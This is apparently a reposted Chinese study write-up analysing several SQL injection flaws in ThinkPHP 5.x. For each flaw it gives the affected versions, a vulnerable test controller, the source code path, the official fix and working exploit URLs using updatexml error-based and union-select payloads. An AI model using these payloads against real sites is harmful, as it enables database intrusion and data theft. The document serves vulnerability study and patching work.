ThinkPHP5.x注入漏洞學習


ThinkPHP5.x注入漏洞學習

前言

以下復現均需要在application/database.php 文件中配置數據庫相關信息,並開啟 **application/config 中的 ** app_debugapp_trace

通過以下命令獲取測試環境代碼:

composer create-project --prefer-dist topthink/think=版本 tpdemo

composer.json 文件的 require 字段設置成如下,之后執行一次 composer update

"require": {

    "topthink/framework": "漏洞版本" 
}

ThinkPHP ParseData 方法注入

漏洞概要

本次漏洞存在於 Builder 類的 parseData 方法中。由於程序沒有對數據進行很好的過濾,將數據拼接進 SQL 語句,導致 SQL注入漏洞 的產生(insertupdate)注入,本文以insert注入為例。

洞影響版本: 5.0.13<=ThinkPHP<=5.0.155.1.0<=ThinkPHP<=5.1.5

漏洞環境

<?php
namespace app\index\controller;
class Index
{
    public function index()
    {
        $level=input("level/a");
//        $data=db("users")->where("id","1")->insert(["level"=>$level]);
        $data=db("users")->where("id","1")->update(["level"=>$level]);
        dump($data);
    }
}

訪問http://yoursite/index.php/index/index?level[0]=inc&level[1]=updatexml(1,concat(0x7,user(),0x7e),1)&level[2]=1

即可觸發 SQL注入漏洞 。(沒開啟 app_debug 是無法看到 SQL 報錯信息的)

image-20210731201318806

漏洞分析

我們直接跟進到insert

image-20210731204914843

繼續跟進$this->builder->insert

image-20210731205528040

繼續跟進$this->parseData

image-20210731210557849

因為我們是數組所以進入這里,然后沒有任何的過濾導致直接賦值給$result[$item]

image-20210731210959068

然后我們這三種case都可以造成sql注入

但是熟悉tp3的師傅們都熟悉。I函數接受的時候會有htmlspecialchars think_filter 的過濾處理

tp5一樣也是有的filterExp,會將我們EXP=>EXP空格 因此就匹配不上了

image-20210731211702335

回到library/db/Buider.php中然后返回的sql語句結果為,從而造成SQL注入。

INSERT INTO `users` (`level`) VALUES (updatexml(1,concat(0x7,user(),0x7e),1)+1) 

最后來一張攻擊總結流程【圖來自七月火前輩】

9

漏洞修復

20210305100924794

ThinkPHP ParseArrayData 方法注入

漏洞概要

本次漏洞存在於 Mysql 類的 parseArrayData 方法中由於程序沒有對數據進行很好的過濾,將數據拼接進 SQL 語句,導致 SQL注入漏洞 的產生( update 方法注入)

影響版本:5.1.6<=ThinkPHP<=5.1.7 (非最新的 5.1.8 版本也可利用)

漏洞環境

<?php
namespace app\index\controller;
class Index
{
    public function index()
    {
        $level=input("level/a");
        $data=db("users")->where("id","1")->update(["level"=>$level]);
        dump($data);
    }
}

訪問http://yoursite/index.php/index/index?level[0]=point&level[1]=1&level[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&level[3]=0

即可觸發 SQL注入漏洞 。(沒開啟 app_debug 是無法看到 SQL 報錯信息的)

image-20210801131502459

漏洞分析

我們直接到library/think/db/Query類的update方法

image-20210801144104009

我們繼續跟進Connection 類的 update 方法,該方法又調用了 $this->builderupdate 方法。

image-20210801143035326

我們直接跟進吧

image-20210801144534583

我們又看到parseData方法。5.0.19的SQL注入就是在這里產生的。我們跟進去看一下

image-20210801145109994

parseArrayData方法代碼

    protected function parseArrayData(Query $query, $data)
    {
        list($type, $value) = $data;
		//$data是我們傳入的數組
        switch (strtolower($type)) {
            case 'point':
                $fun   = isset($data[2]) ? $data[2] : 'GeomFromText';
                $point = isset($data[3]) ? $data[3] : 'POINT';
                if (is_array($value)) {
                    $value = implode(' ', $value);
                }
                $result = $fun . '(\'' . $point . '(' . $value . ')\')';
                break;
            default:
                $result = false;
        }

        return $result;
    }

沒有任何的過濾將我們的惡意代碼拼接了起來,所以可以構造出很多的payload

$result = $fun . '(\'' . $point . '(' . $value . ')\')';
$result = $data[2] . '(\''. $data[3].'('.$data[1].')\')';

經過str_replace()於是我們的SQL語句就是

UPDATE `users` SET `level` = updatexml(1,concat(0x7,user(),0x7e),1)^('0(1)')  WHERE  `id` = :where_AND_id

漏洞修復

官方比較暴力的就直接刪除了default語句塊,並直接刪除了ParseArrayData方法。

image-20210801133831247

ThinkPHP ParseWhereItem方法注入一

漏洞概要

本次漏洞存在於 Mysql 類的 parseWhereItem 方法中。由於程序沒有對數據進行很好的過濾,直接將數據拼接進 SQL 語句。再一個, Request 類的 filterValue 方法漏過濾 NOT LIKE 關鍵字,最終導致 SQL注入漏洞 的產生(select 方法注入)

漏洞影響版本: ThinkPHP<5.0.10 [外面都說的是=5.0.10,具體原因后面會說]

漏洞環境

<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
        $username = input('username/a');
        $data = db('users')->where(['username' => $username])->select();
        var_dump($data);
    }
}

訪問http://yoursite/index.php/index/index?username[0]=not like&username[1][0]=%%&username[1][1]=233&username[2]=) union select 1,user()#

image-20210801185650811

漏洞分析

老樣子因為漏洞不在where所以直接來到select方法

image-20210801232202894

進入$sql = $this->builder->select($options)

image-20210801232415309

再進入parseWhere方法中的$this->buildWhere->parseWhereItem

這里代碼太多我就截取關鍵點說一下

image-20210802110129618

因為$value是array可控,沒有過濾。所以導致拼接造成我們的SQL注入。

最后用七月火師傅的圖來總結一下

9 (1)

漏洞修復

官方修復在Request.php 文件的 filterValue 方法中,過濾掉 NOT LIKE 關鍵字[圖來自七月火師傅]

2

下圖是七月師傅所述的

image-20210801230301980

七月火師傅在漏洞修復說的是5.0.10以前是不存在的是因為他把in_array搜尋的東西搞錯了

image-20210801222712031

5.0.9復現過程

image-20210801230139228

所以我認為關鍵點在這里

image-20210801225926634

ThinkPHP ParseWhereItem方法注入二

漏洞概要

本次漏洞存在於 Mysql 類的 parseWhereItem 方法中。由於程序沒有對數據進行很好的過濾,將數據拼接進 SQL 語句,導致 SQL注入漏洞 的產生( select 方法注入)

漏洞影響版本: ThinkPHP5全版本

漏洞環境

<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
        $username = request()->get('username');
        $data = db('users')->where('username','exp',$username)->select();
        var_dump($data);
    }
}

介紹一下where中的exp吧

image-20210728135932523

例如下面兩條語句是完全相等的。

$map['username']  = array('in','admin,r0ser1');
$map['username']  = array('exp',' IN (admin,r0ser1) ');

訪問http://yoursite/index.php/index?username=) union select updatexml(1,concat(0x7,user(),0x7e),1)%23

即可觸發 SQL注入漏洞 。(沒開啟 app_debug 是無法看到 SQL 報錯信息的)

image-20210802112424358

漏洞分析

因為都是parseWhereItem 出現的問題上面一文分析過了一些點,我們這次只看關鍵點。

image-20210802141447461

漏洞修復

官方無修復,並不承認這是一個漏洞認為這是他們提供的一個功能。

ThinkPHP orderby 方法注入

漏洞概要

漏洞存在於 Builder 類的 parseOrder 方法中。由於程序沒有對數據進行很好的過濾,直接將數據拼接進 SQL 語句,最終導致 SQL注入漏洞 的產生。

漏洞影響版本: 5.1.16<=ThinkPHP5<=5.1.22

漏洞環境

<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
        $orderby = request()->get('orderby');
        $result = db('users')->where(['username' => 'R0ser1'])->order($orderby)->find();
        var_dump($result);
    }
}

訪問http://localhost:8000/index/index/index?orderby[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1

即可觸發 SQL注入漏洞 。(沒開啟 app_debug 是無法看到 SQL 報錯信息的)

image-20210802212151951

漏洞分析

漏洞出現在order嘛那我們直接看order函數。截取關鍵部分

    public function order($field, $order = null)  //$field是我們傳入的值
    {
        if (!isset($this->options['order'])) {
            $this->options['order'] = [];
        }
        if (is_array($field)) {  
            //傳入的是一個數組 進行合並然后賦值給$this->option
            $this->options['order'] = array_merge($this->options['order'], $field);
        } else {
            $this->options['order'][] = $field;
        }
        return $this; //返回this this包含了$field 
    }

然后再進入find函數,在 Connection 類的 find 方法中調用 Builder 類的 select 方法來生成 SQL 語句。相信大家對 Builder 類的 select 方法應該就不陌生了。前幾篇分析文章中都有提及這個方法。這個方法通過 str_replace 函數將數據填充到 SQL 模板語句中。這次我們要關注的是 parseOrder 方法,這個方法在新版的 ThinkPHP 中做了代碼調整,我們跟進。

image-20210802214231432

parseOrder 方法中,我們看到程序通過 parseKey 方法給變量兩端都加上了反引號。然后直接拼接字符串返回沒有任何過濾

image-20210802215520276

導致我們最終的SQL語句就是

SELECT * FROM `users` WHERE  `username` = :where_AND_username ORDER BY `id`|updatexml(1,concat(0x7,user(),0x7e),1)#` LIMIT 1  

[七月火前輩總結]

8

漏洞修復

官方pass掉了了)#,進行了修復。

20210308213321144

ThinkPHP 聚合查詢注入

漏洞概要

本次漏洞存在於所有 Mysql 聚合函數相關方法。由於程序沒有對數據進行很好的過濾,直接將數據拼接進 SQL 語句,最終導致 SQL注入漏洞 的產生。

漏洞影響版本: 5.0.0<=ThinkPHP<=5.0.215.1.3<=ThinkPHP5<=5.1.25

不同版本 payload 需稍作調整:

5.0.0~5.0.215.1.3~5.1.10id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23

5.1.11~5.1.25id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23

漏洞環境

// 這里用5.0.10復現學習
<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
        $count = input('get.count');
        $res = db('users')->count($count);
        var_dump($res);
    }
}

聚合函數如下

image-20210802160108583

訪問 http://yoursite/index/index/index?data=id),(updatexml(1,concat(0x7,user(),0x7e),1)%23 鏈接,即可觸發 SQL注入漏洞 。(沒開啟 app_debug 是無法看到 SQL 報錯信息的,當然我們也可以構造其他的語句)

image-20210802160943057

例如延時注入等

image-20210802160801138

漏洞分析

我們直接到count方法這里

image-20210802162304476

我們發現$this->value(里面的東西沒有任何的過濾)直接拼接起來傳遞給value方法我們跟進看一下

image-20210802163731112

跟到$this->builder->select方法如下

image-20210802163839070

$this->parseField

image-20210802164244552

$this->parseKey

image-20210802164225976

返回之后都賦值給array數組,然后再通過$fieldsStr = implode(',', $array)又把我們數組給拼接成字符串最終返回的語句如下

SELECT COUNT(id),(updatexml(1,concat(0x7,user(),0x7e),1)) AS tp_count FROM `users` LIMIT 1  

最后放一個七月火師傅的總結【最后有七月火師傅的鏈接,大家可以看七月火師傅的。我也是跟着學習】

7

漏洞修復

官方的修復方法是:當匹配到除了 字母、點號、星號 以外的字符時,就拋出異常。

image-20210802172105742

ThinkPHP 5.0.9雞肋注入

漏洞概要

為什么說是雞肋注入,因為TP5使用PDO查詢。將參數與查詢語句分離導致我們這個注入不支持子查詢。就只能利用報錯注入爆出一些內置函數。

關於這個漏洞的一些簡單思考

這里就不復現了。下面會放P牛的那篇文章,這里就寫一寫我對這個雞肋漏洞的思考吧。

除了這一個洞,上面的所有SQL注入都是可以報數據的。當然我們不能用XPATH來爆,不然就會提示。

image-20210803103755324

僅僅支持常量。我們去wireshark發現在第一步預處理已經報錯不走了。

image-20210803104118159

常量?何為常量,廣義來講也就是不變的量。用P牛的話來講

預編譯的確是mysql服務端進行的,但是預編譯的過程是不接觸數據的 ,也就是說不會從表中將真實數據取出來,所以使用子查詢的情況下不會觸發報錯;雖然預編譯的過程不接觸數據,但類似user()這樣的數據庫函數的值還是將會編譯進SQL語句,所以這里執行並爆了出來。

因為像user() database()這就是常量因為他是庫函數。

那我們是否可以不用XPATH來爆呢。他不是提示Only constant XPATH queries are supported

當然是可以的,他回進行預處理->綁定->執行->報錯

那這個洞是到底可以不可以呢?

image-20210803104928062

提示的是參數為定義。那是哪一步出的問題呢?

image-20210803110430196

進入$this->query->bind發現賦值給this返回了

image-20210803110546415

回到Query.php中$bind = $this->getBind();// 獲取參數綁定

image-20210803110654535

發現又返回給了bind后面預處理之后的調用了bind。

image-20210803111750037

image-20210803111929939

執行的時候又獲取bind當我們看wireshark或許就可以發現答案

image-20210803111959174

所以到bind時候就會報錯。報參數未定義。因為這個漏洞我們利用的就是IN這里所以要加,or)

參考

七月火前輩:https://github.com/Mochazz/ThinkPHP-Vuln

P牛:https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM